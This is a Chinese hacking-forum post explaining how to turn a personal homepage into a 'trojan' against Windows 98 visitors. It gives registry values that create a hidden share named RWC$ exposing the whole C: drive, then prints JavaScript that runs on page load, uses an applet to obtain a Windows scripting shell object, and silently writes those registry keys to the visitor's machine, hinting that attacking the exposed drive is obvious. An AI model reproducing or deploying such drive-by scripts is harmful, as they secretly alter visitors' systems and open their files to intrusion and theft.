20CN网络安全小组论坛 - 菜鸟乐园 - 我用的是98，网叶加了JS共享控件，连不上还可以看到被共享为RWC$

论坛: 菜鸟乐园标题: 我用的是98，网叶加了JS共享控件，连不上还可以看到被共享为RWC$

作者: fslxs [fslxs]

论坛用户

如何让你的主页也成为木马！！！！
不知大家知不知道，windows98有个共享漏洞；
在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan下面
添加个键如RWC$然后再加几个键值：
"Flags"=dword:00000302
"Type"=dword:00000000
"Path"="C:\\"
这样就把c盘设为共享了，共享名为RWC$。而且你在网络属性中还看不到（把"Flags"=dword:00000302 改
成Flags"=dword:00000402就可看到），至于共享后的c:怎么攻击，我想不用我说了吧。
看过上一篇的人都知道通过网业改注册表是件很容易的事。为了照顾没看过的朋友我把js的源码负在下面
*****************************************************
script language=JavaScript>

document.write("");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Flags",402,"REG_DWORD"
);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Type",0,"REG_DWORD"
);
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\Path","C:\\"
);
}
function init()
{
setTimeout("f()", 1000);
}

init();

地主发表时间: 04/12 16:21

论坛: 菜鸟乐园